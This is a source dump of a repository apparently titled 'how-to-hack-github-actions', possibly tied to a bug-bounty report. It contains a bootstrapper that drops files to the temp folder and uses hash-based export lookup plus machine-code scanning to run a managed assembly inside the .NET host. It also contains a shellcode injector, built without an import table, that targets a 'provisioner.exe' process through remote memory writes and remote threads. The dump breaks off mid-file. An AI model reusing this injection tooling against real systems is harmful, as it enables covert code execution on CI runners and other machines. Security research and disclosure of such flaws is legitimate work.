https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/assets/cat.jpg -------------------------------------------------------------------------------- /assets/explained/01_how_to_inject.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/assets/explained/01_how_to_inject.png -------------------------------------------------------------------------------- /assets/explained/02_how_server_works.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/assets/explained/02_how_server_works.png -------------------------------------------------------------------------------- /assets/hostfxr_aslr_bypass/01_hostfxr_get_runtime_properties.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/assets/hostfxr_aslr_bypass/01_hostfxr_get_runtime_properties.png -------------------------------------------------------------------------------- /assets/hostfxr_aslr_bypass/02_right_address.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/assets/hostfxr_aslr_bypass/02_right_address.png -------------------------------------------------------------------------------- /assets/hostfxr_aslr_bypass/03_how_to_find_call.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/assets/hostfxr_aslr_bypass/03_how_to_find_call.png -------------------------------------------------------------------------------- /assets/reward.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/assets/reward.png -------------------------------------------------------------------------------- /build.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | set CMAKE_BUILD_TYPE="MinSizeRel" 4 | 5 | if not exist build mkdir build 6 | cd build 7 | 8 | set vswhere="%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" 9 | set cmakeLookup=call %vswhere% -latest -requires Microsoft.VisualStudio.Component.VC.CMake.Project -find Common7\IDE\CommonExtensions\Microsoft\CMake\CMake\bin\cmake.exe 10 | 11 | for /f "tokens=*" %%i in ('%cmakeLookup%') do set cmake="%%i" 12 | 13 | %cmake% -DCMAKE_VERBOSE_MAKEFILE:BOOL=ON .. 14 | %cmake% --build . --config %CMAKE_BUILD_TYPE% --target INSTALL 15 | 16 | cd .. 17 | -------------------------------------------------------------------------------- /clean.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | setlocal ENABLEDELAYEDEXPANSION 4 | 5 | for /f "tokens=*" %%i in (.gitignore) do ( 6 | set filename=%%i 7 | set filename=!filename:/=\! 8 | if exist !filename!\* ( 9 | for /d %%d in (!filename!) do ( 10 | del /s /f /q %%d\*.* 11 | for /f %%f in ('dir /ad /b %%d\') do rd /s /q %%d\%%f 12 | rd %%d 13 | ) 14 | ) else if exist !filename! ( 15 | del /f /q !filename! 16 | ) 17 | ) 18 | 19 | cd projects\csharp\patcher 20 | call clean.bat 21 | -------------------------------------------------------------------------------- /cmake/embedded.cmake: -------------------------------------------------------------------------------- 1 | # Function that turns off C++ runtime for target 2 | function(set_embedded_options target) 3 | # Remove /EHsc from CMAKE_CXX_FLAGS 4 | string(REPLACE " /EHsc" "" CMAKE_CXX_FLAGS ${CMAKE_CXX_FLAGS}) 5 | string(REPLACE "/EHsc " "" CMAKE_CXX_FLAGS ${CMAKE_CXX_FLAGS}) 6 | set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS}" CACHE STRING "" FORCE) 7 | 8 | # Turn off buffer security check, exception handling 9 | target_compile_options(${target} PRIVATE /GS- /EHs-c-) 10 | # Some flags to optimize for binary file size 11 | target_link_options(${target} PRIVATE 12 | /DRIVER 13 | #/SECTION:.text,,ALIGN=16 14 | /MANIFEST:NO 15 | /ALIGN:16 16 | /FILEALIGN:1 17 | #/MERGE:.rdata=.text 18 | #/MERGE:.pdata=.text 19 | /NODEFAULTLIB 20 | /EMITPOGOPHASEINFO 21 | /DEBUG:NONE 22 | /STUB:${CMAKE_SOURCE_DIR}/link/stub.exe) 23 | 24 | # Apply pedantic flags 25 | target_compile_options(${target} PRIVATE /W4 /permissive- /WX) 26 | endfunction() 27 | -------------------------------------------------------------------------------- /cmake/utility.cmake: -------------------------------------------------------------------------------- 1 | # Function that loads subdirectories with CMakeLists.txt 2 | function(load_subdirectories) 3 | file(GLOB cmake_files 4 | LIST_DIRECTORIES true 5 | RELATIVE ${CMAKE_CURRENT_LIST_DIR} 6 | CONFIGURE_DEPENDS 7 | ${CMAKE_CURRENT_LIST_DIR}/*/CMakeLists.txt) 8 | foreach (file ${cmake_files}) 9 | get_filename_component(file_path ${file} DIRECTORY) 10 | add_subdirectory(${file_path}) 11 | endforeach () 12 | endfunction() 13 | -------------------------------------------------------------------------------- /link/stub.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/link/stub.exe -------------------------------------------------------------------------------- /projects/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | load_subdirectories() 2 | -------------------------------------------------------------------------------- /projects/cpp/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | load_subdirectories() 2 | -------------------------------------------------------------------------------- /projects/cpp/app/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | load_subdirectories() 2 | -------------------------------------------------------------------------------- /projects/cpp/app/bootstrapper/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | project(bootstrapper LANGUAGES CXX) 2 | 3 | option(${PROJECT_NAME}_WITHOUT_IMPORT_TABLE "build ${PROJECT_NAME} without import table" ON) 4 | 5 | add_custom_target( 6 | ${PROJECT_NAME}_assembly_codegen 7 | COMMAND ${CMAKE_BINARY_DIR}/projects/rust/dump-assembly/target/release/dump-assembly.exe ${CMAKE_BINARY_DIR}/projects/csharp/patcher/patcher --header ${CMAKE_CURRENT_SOURCE_DIR}/include/assembly.h 8 | WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} 9 | DEPENDS ${CMAKE_CURRENT_SOURCE_DIR}/include/assembly.h 10 | ) 11 | add_dependencies(${PROJECT_NAME}_assembly_codegen patcher dump-assembly) 12 | 13 | add_executable(${PROJECT_NAME} src/main.cpp) 14 | set_embedded_options(${PROJECT_NAME}) 15 | add_dependencies(${PROJECT_NAME} ${PROJECT_NAME}_assembly_codegen) 16 | target_link_libraries(${PROJECT_NAME} loader) 17 | 18 | if (${PROJECT_NAME}_WITHOUT_IMPORT_TABLE) 19 | target_compile_definitions(${PROJECT_NAME} PRIVATE ${PROJECT_NAME}_WITHOUT_IMPORT_TABLE) 20 | target_link_libraries(${PROJECT_NAME} fakekernel32) 21 | endif () 22 | 23 | target_include_directories(${PROJECT_NAME} PRIVATE include) 24 | 25 | install(TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_BINARY_DIR}/bin/cpp/app) 26 | -------------------------------------------------------------------------------- /projects/cpp/app/bootstrapper/include/README.md: -------------------------------------------------------------------------------- 1 | All these files comes from dotnet sources 2 | 1. [hostfxr.h](https://github.com/dotnet/runtime/blob/main/src/native/corehost/hostfxr.h) 3 | 2. [coreclr_delegates.h](https://github.com/dotnet/runtime/blob/main/src/native/corehost/coreclr_delegates.h) 4 | 5 | It should contain: 6 | - `assembly.h` (see dump-assembly target for codegen details) 7 | 8 | Script to update it 9 | ```bash 10 | curl https://raw.githubusercontent.com/dotnet/runtime/main/src/native/corehost/coreclr_delegates.h > coreclr_delegates.h 11 | curl https://raw.githubusercontent.com/dotnet/runtime/main/src/native/corehost/hostfxr.h > hostfxr.h 12 | dos2unix *.h 13 | ``` 14 | -------------------------------------------------------------------------------- /projects/cpp/app/bootstrapper/include/coreclr_delegates.h: -------------------------------------------------------------------------------- 1 | // Licensed to the .NET Foundation under one or more agreements. 2 | // The .NET Foundation licenses this file to you under the MIT license. 3 | 4 | #ifndef __CORECLR_DELEGATES_H__ 5 | #define __CORECLR_DELEGATES_H__ 6 | 7 | #include 8 | 9 | #if defined(_WIN32) 10 | #define CORECLR_DELEGATE_CALLTYPE __stdcall 11 | #ifdef _WCHAR_T_DEFINED 12 | typedef wchar_t char_t; 13 | #else 14 | typedef unsigned short char_t; 15 | #endif 16 | #else 17 | #define CORECLR_DELEGATE_CALLTYPE 18 | typedef char char_t; 19 | #endif 20 | 21 | #define UNMANAGEDCALLERSONLY_METHOD ((const char_t*)-1) 22 | 23 | // Signature of delegate returned by coreclr_delegate_type::load_assembly_and_get_function_pointer 24 | typedef int (CORECLR_DELEGATE_CALLTYPE *load_assembly_and_get_function_pointer_fn)( 25 | const char_t *assembly_path /* Fully qualified path to assembly */, 26 | const char_t *type_name /* Assembly qualified type name */, 27 | const char_t *method_name /* Public static method name compatible with delegateType */, 28 | const char_t *delegate_type_name /* Assembly qualified delegate type name or null 29 | or UNMANAGEDCALLERSONLY_METHOD if the method is marked with 30 | the UnmanagedCallersOnlyAttribute. */, 31 | void *reserved /* Extensibility parameter (currently unused and must be 0) */, 32 | /*out*/ void **delegate /* Pointer where to store the function pointer result */); 33 | 34 | // Signature of delegate returned by load_assembly_and_get_function_pointer_fn when delegate_type_name == null (default) 35 | typedef int (CORECLR_DELEGATE_CALLTYPE *component_entry_point_fn)(void *arg, int32_t arg_size_in_bytes); 36 | 37 | typedef int (CORECLR_DELEGATE_CALLTYPE *get_function_pointer_fn)( 38 | const char_t *type_name /* Assembly qualified type name */, 39 | const char_t *method_name /* Public static method name compatible with delegateType */, 40 | const char_t *delegate_type_name /* Assembly qualified delegate type name or null, 41 | or UNMANAGEDCALLERSONLY_METHOD if the method is marked with 42 | the UnmanagedCallersOnlyAttribute. */, 43 | void *load_context /* Extensibility parameter (currently unused and must be 0) */, 44 | void *reserved /* Extensibility parameter (currently unused and must be 0) */, 45 | /*out*/ void **delegate /* Pointer where to store the function pointer result */); 46 | 47 | #endif // __CORECLR_DELEGATES_H__ 48 | -------------------------------------------------------------------------------- /projects/cpp/app/bootstrapper/include/fx_muxer.h: -------------------------------------------------------------------------------- 1 | #ifndef FX_MUXER_H 2 | #define FX_MUXER_H 3 | 4 | /// Reverse engineered header based on dotnet sources 5 | 6 | /// @see https://github.com/dotnet/runtime/blob/main/src/native/corehost/fxr/host_context.h 7 | /// used as pointer type 8 | struct host_context_t; 9 | 10 | /// @see https://github.com/dotnet/runtime/blob/main/src/native/corehost/fxr/fx_muxer.h 11 | /// class with static methods 12 | class fx_muxer_t { 13 | public: 14 | /// const host_context_t* fx_muxer_t::get_active_host_context() 15 | /// @see https://github.com/dotnet/runtime/blob/main/src/native/corehost/fxr/fx_muxer.cpp 16 | static const host_context_t *get_active_host_context(); 17 | }; 18 | 19 | #endif //FX_MUXER_H 20 | -------------------------------------------------------------------------------- /projects/cpp/app/bootstrapper/include/hostfxr.h: -------------------------------------------------------------------------------- 1 | // Licensed to the .NET Foundation under one or more agreements. 2 | // The .NET Foundation licenses this file to you under the MIT license. 3 | 4 | #ifndef __HOSTFXR_H__ 5 | #define __HOSTFXR_H__ 6 | 7 | #include 8 | #include 9 | 10 | #if defined(_WIN32) 11 | #define HOSTFXR_CALLTYPE __cdecl 12 | #ifdef _WCHAR_T_DEFINED 13 | typedef wchar_t char_t; 14 | #else 15 | typedef unsigned short char_t; 16 | #endif 17 | #else 18 | #define HOSTFXR_CALLTYPE 19 | typedef char char_t; 20 | #endif 21 | 22 | enum hostfxr_delegate_type 23 | { 24 | hdt_com_activation, 25 | hdt_load_in_memory_assembly, 26 | hdt_winrt_activation, 27 | hdt_com_register, 28 | hdt_com_unregister, 29 | hdt_load_assembly_and_get_function_pointer, 30 | hdt_get_function_pointer, 31 | }; 32 | 33 | typedef int32_t(HOSTFXR_CALLTYPE *hostfxr_main_fn)(const int argc, const char_t **argv); 34 | typedef int32_t(HOSTFXR_CALLTYPE *hostfxr_main_startupinfo_fn)( 35 | const int argc, 36 | const char_t **argv, 37 | const char_t *host_path, 38 | const char_t *dotnet_root, 39 | const char_t *app_path); 40 | typedef int32_t(HOSTFXR_CALLTYPE* hostfxr_main_bundle_startupinfo_fn)( 41 | const int argc, 42 | const char_t** argv, 43 | const char_t* host_path, 44 | const char_t* dotnet_root, 45 | const char_t* app_path, 46 | int64_t bundle_header_offset); 47 | 48 | typedef void(HOSTFXR_CALLTYPE *hostfxr_error_writer_fn)(const char_t *message); 49 | 50 | // 51 | // Sets a callback which is to be used to write errors to. 52 | // 53 | // Parameters: 54 | // error_writer 55 | // A callback function which will be invoked every time an error is to be reported. 56 | // Or nullptr to unregister previously registered callback and return to the default behavior. 57 | // Return value: 58 | // The previously registered callback (which is now unregistered), or nullptr if no previous callback 59 | // was registered 60 | // 61 | // The error writer is registered per-thread, so the registration is thread-local. On each thread 62 | // only one callback can be registered. Subsequent registrations overwrite the previous ones. 63 | // 64 | // By default no callback is registered in which case the errors are written to stderr. 65 | // 66 | // Each call to the error writer is sort of like writing a single line (the EOL character is omitted). 67 | // Multiple calls to the error writer may occure for one failure. 68 | // 69 | // If the hostfxr invokes functions in hostpolicy as part of its operation, the error writer 70 | // will be propagated to hostpolicy for the duration of the call. This means that errors from 71 | // both hostfxr and hostpolicy will be reporter through the same error writer. 72 | // 73 | typedef hostfxr_error_writer_fn(HOSTFXR_CALLTYPE *hostfxr_set_error_writer_fn)(hostfxr_error_writer_fn error_writer); 74 | 75 | typedef void* hostfxr_handle; 76 | struct hostfxr_initialize_parameters 77 | { 78 | size_t size; 79 | const char_t *host_path; 80 | const char_t *dotnet_root; 81 | }; 82 | 83 | // 84 | // Initializes the hosting components for a dotnet command line running an application 85 | // 86 | // Parameters: 87 | // argc 88 | // Number of argv arguments 89 | // argv 90 | // Command-line arguments for running an application (as if through the dotnet executable). 91 | // Only command-line arguments which are accepted by runtime installation are supported, SDK/CLI commands are not supported. 92 | // For example 'app.dll app_argument_1 app_argument_2`. 93 | // parameters 94 | // Optional. Additional parameters for initialization 95 | // host_context_handle 96 | // On success, this will be populated with an opaque value representing the initialized host context 97 | // 98 | // Return value: 99 | // Success - Hosting components were successfully initialized 100 | // HostInvalidState - Hosting components are already initialized 101 | // 102 | // This function parses the specified command-line arguments to determine the application to run. It will 103 | // then find the corresponding .runtimeconfig.json and .deps.json with which to resolve frameworks and 104 | // dependencies and prepare everything needed to load the runtime. 105 | // 106 | // This function only supports arguments for running an application. It does not support SDK commands. 107 | // 108 | // This function does not load the runtime. 109 | // 110 | typedef int32_t(HOSTFXR_CALLTYPE *hostfxr_initialize_for_dotnet_command_line_fn)( 111 | int argc, 112 | const char_t **argv, 113 | const struct hostfxr_initialize_parameters *parameters, 114 | /*out*/ hostfxr_handle *host_context_handle); 115 | 116 | // 117 | // Initializes the hosting components using a .runtimeconfig.json file 118 | // 119 | // Parameters: 120 | // runtime_config_path 121 | // Path to the .runtimeconfig.json file 122 | // parameters 123 | // Optional. Additional parameters for initialization 124 | // host_context_handle 125 | // On success, this will be populated with an opaque value representing the initialized host context 126 | // 127 | // Return value: 128 | // Success - Hosting components were successfully initialized 129 | // Success_HostAlreadyInitialized - Config is compatible with already initialized hosting components 130 | // Success_DifferentRuntimeProperties - Config has runtime properties that differ from already initialized hosting components 131 | // CoreHostIncompatibleConfig - Config is incompatible with already initialized hosting components 132 | // 133 | // This function will process the .runtimeconfig.json to resolve frameworks and prepare everything needed 134 | // to load the runtime. It will only process the .deps.json from frameworks (not any app/component that 135 | // may be next to the .runtimeconfig.json). 136 | // 137 | // This function does not load the runtime. 138 | // 139 | // If called when the runtime has already been loaded, this function will check if the specified runtime 140 | // config is compatible with the existing runtime. 141 | // 142 | // Both Success_HostAlreadyInitialized and Success_DifferentRuntimeProperties codes are considered successful 143 | // initializations. In the case of Success_DifferentRuntimeProperties, it is left to the consumer to verify that 144 | // the difference in properties is acceptable. 145 | // 146 | typedef int32_t(HOSTFXR_CALLTYPE *hostfxr_initialize_for_runtime_config_fn)( 147 | const char_t *runtime_config_path, 148 | const struct hostfxr_initialize_parameters *parameters, 149 | /*out*/ hostfxr_handle *host_context_handle); 150 | 151 | // 152 | // Gets the runtime property value for an initialized host context 153 | // 154 | // Parameters: 155 | // host_context_handle 156 | // Handle to the initialized host context 157 | // name 158 | // Runtime property name 159 | // value 160 | // Out parameter. Pointer to a buffer with the property value. 161 | // 162 | // Return value: 163 | // The error code result. 164 | // 165 | // The buffer pointed to by value is owned by the host context. The lifetime of the buffer is only 166 | // guaranteed until any of the below occur: 167 | // - a 'run' method is called for the host context 168 | // - properties are changed via hostfxr_set_runtime_property_value 169 | // - the host context is closed via 'hostfxr_close' 170 | // 171 | // If host_context_handle is nullptr and an active host context exists, this function will get the 172 | // property value for the active host context. 173 | // 174 | typedef int32_t(HOSTFXR_CALLTYPE *hostfxr_get_runtime_property_value_fn)( 175 | const hostfxr_handle host_context_handle, 176 | const char_t *name, 177 | /*out*/ const char_t **value); 178 | 179 | // 180 | // Sets the value of a runtime property for an initialized host context 181 | // 182 | // Parameters: 183 | // host_context_handle 184 | // Handle to the initialized host context 185 | // name 186 | // Runtime property name 187 | // value 188 | // Value to set 189 | // 190 | // Return value: 191 | // The error code result. 192 | // 193 | // Setting properties is only supported for the first host context, before the runtime has been loaded. 194 | // 195 | // If the property already exists in the host context, it will be overwritten. If value is nullptr, the 196 | // property will be removed. 197 | // 198 | typedef int32_t(HOSTFXR_CALLTYPE *hostfxr_set_runtime_property_value_fn)( 199 | const hostfxr_handle host_context_handle, 200 | const char_t *name, 201 | const char_t *value); 202 | 203 | // 204 | // Gets all the runtime properties for an initialized host context 205 | // 206 | // Parameters: 207 | // host_context_handle 208 | // Handle to the initialized host context 209 | // count 210 | // [in] Size of the keys and values buffers 211 | // [out] Number of properties returned (size of keys/values buffers used). If the input value is too 212 | // small or keys/values is nullptr, this is populated with the number of available properties 213 | // keys 214 | // Array of pointers to buffers with runtime property keys 215 | // values 216 | // Array of pointers to buffers with runtime property values 217 | // 218 | // Return value: 219 | // The error code result. 220 | // 221 | // The buffers pointed to by keys and values are owned by the host context. The lifetime of the buffers is only 222 | // guaranteed until any of the below occur: 223 | // - a 'run' method is called for the host context 224 | // - properties are changed via hostfxr_set_runtime_property_value 225 | // - the host context is closed via 'hostfxr_close' 226 | // 227 | // If host_context_handle is nullptr and an active host context exists, this function will get the 228 | // properties for the active host context. 229 | // 230 | typedef int32_t(HOSTFXR_CALLTYPE *hostfxr_get_runtime_properties_fn)( 231 | const hostfxr_handle host_context_handle, 232 | /*inout*/ size_t * count, 233 | /*out*/ const char_t **keys, 234 | /*out*/ const char_t **values); 235 | 236 | // 237 | // Load CoreCLR and run the application for an initialized host context 238 | // 239 | // Parameters: 240 | // host_context_handle 241 | // Handle to the initialized host context 242 | // 243 | // Return value: 244 | // If the app was successfully run, the exit code of the application. Otherwise, the error code result. 245 | // 246 | // The host_context_handle must have been initialized using hostfxr_initialize_for_dotnet_command_line. 247 | // 248 | // This function will not return until the managed application exits. 249 | // 250 | typedef int32_t(HOSTFXR_CALLTYPE *hostfxr_run_app_fn)(const hostfxr_handle host_context_handle); 251 | 252 | // 253 | // Gets a typed delegate from the currently loaded CoreCLR or from a newly created one. 254 | // 255 | // Parameters: 256 | // host_context_handle 257 | // Handle to the initialized host context 258 | // type 259 | // Type of runtime delegate requested 260 | // delegate 261 | // An out parameter that will be assigned the delegate. 262 | // 263 | // Return value: 264 | // The error code result. 265 | // 266 | // If the host_context_handle was initialized using hostfxr_initialize_for_runtime_config, 267 | // then all delegate types are supported. 268 | // If the host_context_handle was initialized using hostfxr_initialize_for_dotnet_command_line, 269 | // then only the following delegate types are currently supported: 270 | // hdt_load_assembly_and_get_function_pointer 271 | // hdt_get_function_pointer 272 | // 273 | typedef int32_t(HOSTFXR_CALLTYPE *hostfxr_get_runtime_delegate_fn)( 274 | const hostfxr_handle host_context_handle, 275 | enum hostfxr_delegate_type type, 276 | /*out*/ void **delegate); 277 | 278 | // 279 | // Closes an initialized host context 280 | // 281 | // Parameters: 282 | // host_context_handle 283 | // Handle to the initialized host context 284 | // 285 | // Return value: 286 | // The error code result. 287 | // 288 | typedef int32_t(HOSTFXR_CALLTYPE *hostfxr_close_fn)(const hostfxr_handle host_context_handle); 289 | 290 | struct hostfxr_dotnet_environment_sdk_info 291 | { 292 | size_t size; 293 | const char_t* version; 294 | const char_t* path; 295 | }; 296 | 297 | typedef void(HOSTFXR_CALLTYPE* hostfxr_get_dotnet_environment_info_result_fn)( 298 | const struct hostfxr_dotnet_environment_info* info, 299 | void* result_context); 300 | 301 | struct hostfxr_dotnet_environment_framework_info 302 | { 303 | size_t size; 304 | const char_t* name; 305 | const char_t* version; 306 | const char_t* path; 307 | }; 308 | 309 | struct hostfxr_dotnet_environment_info 310 | { 311 | size_t size; 312 | 313 | const char_t* hostfxr_version; 314 | const char_t* hostfxr_commit_hash; 315 | 316 | size_t sdk_count; 317 | const hostfxr_dotnet_environment_sdk_info* sdks; 318 | 319 | size_t framework_count; 320 | const hostfxr_dotnet_environment_framework_info* frameworks; 321 | }; 322 | 323 | #endif //__HOSTFXR_H__ 324 | -------------------------------------------------------------------------------- /projects/cpp/app/bootstrapper/src/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | #include 8 | 9 | #ifdef bootstrapper_WITHOUT_IMPORT_TABLE 10 | #include 11 | #endif 12 | 13 | /// This enums represents possible errors to hide it from others 14 | /// useful for debugging 15 | enum class InitializeResult : uint8_t { 16 | Success, 17 | GetRuntimeDelegateError, 18 | EntryPointError, 19 | }; 20 | 21 | #pragma code_seg(".text") 22 | 23 | #include 24 | 25 | extern "C" /*DWORD*/ InitializeResult mainCRTStartup() { 26 | //region loading files to disk 27 | auto stream = reinterpret_cast(packedAssembly); 28 | 29 | auto countOfFiles = *reinterpret_cast(stream); 30 | stream += sizeof(const size_t); 31 | 32 | for (size_t i = 0; i < countOfFiles; ++i) { 33 | auto filenameSize = *reinterpret_cast(stream); 34 | stream += sizeof(const size_t); 35 | 36 | auto filename = reinterpret_cast(stream); 37 | stream += filenameSize; 38 | 39 | auto bufferSize = *reinterpret_cast(stream); 40 | stream += sizeof(const size_t); 41 | 42 | auto buffer = reinterpret_cast(stream); 43 | stream += bufferSize; 44 | 45 | const auto dwBufferLength = MAX_PATH; 46 | wchar_t path[dwBufferLength]; 47 | 48 | GetTempPathW(dwBufferLength, path); 49 | lstrcatW(path, filename); 50 | 51 | HANDLE hFile = CreateFileW( 52 | path, 53 | GENERIC_WRITE, 54 | 0, 55 | nullptr, 56 | CREATE_ALWAYS, 57 | FILE_ATTRIBUTE_NORMAL, 58 | nullptr 59 | ); 60 | 61 | WriteFile(hFile, buffer, static_cast(bufferSize), nullptr, nullptr); 62 | CloseHandle(hFile); 63 | } 64 | //endregion 65 | 66 | /// base address of `hostfxr.dll` 67 | auto base = loader::GetModuleBaseByHash(adler32::hash_fn_compile_time(L"hostfxr.dll")); 68 | 69 | /// function pointer to `hostfxr_get_runtime_delegate` (exported) 70 | auto get_runtime_delegate_fptr = loader::GetExportByHash( 71 | base, 72 | adler32::hash_fn_compile_time("hostfxr_get_runtime_delegate") 73 | ); 74 | 75 | //region finding address of function pointer with cursed code 76 | 77 | /// function pointer to `hostfxr_get_runtime_properties` (exported) 78 | auto hostfxr_get_runtime_properties_fptr = loader::GetExportByHash( 79 | base, 80 | adler32::hash_fn_compile_time("hostfxr_get_runtime_properties") 81 | ); 82 | 83 | /// look for 2-nd x86_64 `call` instruction (opcode 0xE8, size 5 bytes) 84 | /// based on code xrefs 85 | auto buf = reinterpret_cast(hostfxr_get_runtime_properties_fptr); 86 | 87 | uint8_t count = 0; 88 | while (count != 2) { 89 | if (*buf++ == 0xE8) { 90 | count++; 91 | } 92 | } 93 | 94 | auto instructionAddress = reinterpret_cast(buf); 95 | auto functionAddress = instructionAddress + *reinterpret_cast(buf) + 5; 96 | 97 | /// function pointer to `fx_muxer_t::get_active_host_context` 98 | auto get_active_host_context_fptr = reinterpret_cast(functionAddress); 99 | 100 | //endregion 101 | 102 | /// @see https://github.com/dotnet/runtime/blob/main/src/native/corehost/fxr/hostfxr.cpp 103 | /// ctrl+f: "Hosting components context has not been initialized. Cannot get runtime properties." 104 | const host_context_t *context_maybe = get_active_host_context_fptr(); 105 | const auto host_context_handle = reinterpret_cast(const_cast(context_maybe)); 106 | 107 | /// @see https://github.com/dotnet/runtime/blob/main/docs/design/features/hosting-layer-apis.md 108 | /// from docs: native function pointer to the requested runtime functionality 109 | void *delegate = nullptr; 110 | int ret = get_runtime_delegate_fptr(host_context_handle, 111 | hostfxr_delegate_type::hdt_load_assembly_and_get_function_pointer, &delegate); 112 | if (ret != 0 || delegate == nullptr) { 113 | return InitializeResult::GetRuntimeDelegateError; 114 | } 115 | 116 | /// `void *` -> `load_assembly_and_get_function_pointer_fn`, undocumented??? 117 | auto load_assembly_fptr = reinterpret_cast(delegate); 118 | 119 | typedef void (CORECLR_DELEGATE_CALLTYPE *custom_entry_point_fn)(); 120 | custom_entry_point_fn custom = nullptr; 121 | 122 | const auto dwBufferLength = MAX_PATH; 123 | char_t assemblyPath[dwBufferLength]; 124 | 125 | GetTempPathW(dwBufferLength, assemblyPath); 126 | lstrcatW(assemblyPath, assemblyFileName); 127 | 128 | ret = load_assembly_fptr(assemblyPath, typeName, methodName, UNMANAGEDCALLERSONLY_METHOD, nullptr, 129 | reinterpret_cast(&custom)); 130 | if (ret != 0 || custom == nullptr) { 131 | return InitializeResult::EntryPointError; 132 | } 133 | 134 | custom(); 135 | 136 | return InitializeResult::Success; 137 | } 138 | -------------------------------------------------------------------------------- /projects/cpp/app/codeinjector/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | project(codeinjector LANGUAGES CXX) 2 | 3 | option(${PROJECT_NAME}_WITHOUT_IMPORT_TABLE "build ${PROJECT_NAME} without import table" ON) 4 | 5 | add_custom_target( 6 | ${PROJECT_NAME}_codegen 7 | COMMAND ${CMAKE_BINARY_DIR}/projects/rust/shellgen/target/release/shellgen.exe ${CMAKE_BINARY_DIR}/projects/cpp/app/bootstrapper/MinSizeRel/bootstrapper.exe --header ${CMAKE_CURRENT_SOURCE_DIR}/include/shellcode.h > NUL 8 | WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} 9 | DEPENDS ${CMAKE_CURRENT_SOURCE_DIR}/include/shellcode.h 10 | ) 11 | add_dependencies(${PROJECT_NAME}_codegen bootstrapper shellgen) 12 | 13 | add_executable(${PROJECT_NAME} src/main.cpp) 14 | set_embedded_options(${PROJECT_NAME}) 15 | add_dependencies(${PROJECT_NAME} ${PROJECT_NAME}_codegen) 16 | 17 | if (${PROJECT_NAME}_WITHOUT_IMPORT_TABLE) 18 | target_compile_definitions(${PROJECT_NAME} PRIVATE ${PROJECT_NAME}_WITHOUT_IMPORT_TABLE) 19 | target_link_libraries(${PROJECT_NAME} fakekernel32) 20 | endif () 21 | 22 | target_include_directories(${PROJECT_NAME} PRIVATE include) 23 | 24 | install(TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_BINARY_DIR}/bin/cpp/app) 25 | -------------------------------------------------------------------------------- /projects/cpp/app/codeinjector/include/README.md: -------------------------------------------------------------------------------- 1 | It should contain: 2 | - `shellcode.h` (see shellgen target for codegen details) 3 | -------------------------------------------------------------------------------- /projects/cpp/app/codeinjector/src/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | 6 | #ifdef codeinjector_WITHOUT_IMPORT_TABLE 7 | #include 8 | #endif 9 | 10 | /// This enums represents possible errors to hide it from others 11 | /// useful for debugging 12 | enum class InjectionResult : uint8_t { 13 | Success, 14 | CreateToolhelp32SnapshotFailed, 15 | ProcessNotFound, 16 | OpenProcessFailed, 17 | VirtualAllocExFailed, 18 | WriteProcessMemoryFailed, 19 | CreateRemoteThreadFailed, 20 | WaitForSingleObjectFailed, 21 | GetExitCodeThreadFailed, 22 | }; 23 | 24 | /// Represents owned `HANDLE`, must be valid! 25 | class Handle { 26 | private: 27 | HANDLE handle; 28 | public: 29 | explicit Handle(HANDLE handle) : handle(handle) {} 30 | 31 | HANDLE raw() { 32 | return handle; 33 | } 34 | 35 | ~Handle() { 36 | CloseHandle(handle); 37 | } 38 | }; 39 | 40 | /// Represents owned memory created by `VirtualAllocEx`, must be valid! 41 | class ProcessMemory { 42 | private: 43 | HANDLE hProcess; 44 | LPVOID address; 45 | public: 46 | explicit ProcessMemory(HANDLE hProcess, LPVOID address) : hProcess(hProcess), address(address) {} 47 | 48 | HANDLE raw() { 49 | return address; 50 | } 51 | 52 | template 53 | constexpr bool write(const uint8_t (&buffer)[N]) { 54 | SIZE_T written = 0; 55 | return WriteProcessMemory(hProcess, address, (LPCVOID) buffer, sizeof(buffer), &written) && 56 | written == sizeof(buffer); 57 | } 58 | 59 | ~ProcessMemory() { 60 | VirtualFreeEx(hProcess, address, 0, MEM_RELEASE); 61 | } 62 | }; 63 | 64 | #pragma code_seg(".text") 65 | 66 | #include 67 | 68 | __declspec(align(1), allocate(".text")) const wchar_t processName[] = L"provisioner.exe"; 69 | 70 | extern "C" /*DWORD*/ InjectionResult mainCRTStartup() { 71 | DWORD processId; 72 | 73 | { 74 | HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 75 | if (hSnapshot == INVALID_HANDLE_VALUE) { 76 | return InjectionResult::CreateToolhelp32SnapshotFailed; 77 | } 78 | 79 | Handle hSnapshotOwned = Handle(hSnapshot); 80 | 81 | PROCESSENTRY32W processEntry; 82 | //TODO: check that 